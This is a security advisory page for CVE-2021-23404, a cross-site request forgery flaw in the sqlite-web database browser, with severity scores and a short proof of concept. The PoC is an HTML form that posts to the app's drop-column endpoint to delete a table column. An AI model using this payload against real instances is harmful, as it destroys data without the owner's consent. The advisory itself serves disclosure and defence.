

Cross-site Request Forgery (CSRF)

Affecting [sqlite-web](#) package, versions [0,

INTRODUCED: 9 JUL 2021 CVE-2021-23404 CWE-352 FIRST ADDED BY SNYK

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How to fix?

There is no fixed version for `sqlite-web`.

Overview

`sqlite-web` is a Web-based SQLite database browser.

Affected versions of this package are vulnerable to Cross-site Request Forgery (CSRF). The SQL dashboard area allows sensitive actions to be performed without validating that the request originated from the application. This could enable an attacker to trick a user into performing these actions unknowingly through a Cross Site Request Forgery (CSRF) attack.

PoC

```
<html><form enctype="application/x-www-form-urlencoded" method="POST" action="http://your-sqlite-web-instance:8080/sss/drop-column/"><table><tr><td>name</td><td><input type="text" value="id" name="name"></td></tr> </table>
<input type="submit" value="http://dvws.local:8080/sss/drop-column/"></form></html>
```

References

- GitHub Additional Information

PRODUCT

Snyk Open Source

Snyk Code

Snyk Container

Snyk Infrastructure as Code

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Test with CLI

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HIGH

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Snyk CVSS

Exploit Maturity	Proof of concept
Attack Complexity	Low
User Interaction	Required
Confidentiality	HIGH

See more

> NVD

8.8 HIGH

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk ID	SNYK-PYTHON-SQLITEWEB-1316324
Published	6 Sep 2021
Disclosed	9 Jul 2021
Credit	Yadhu Krishna M

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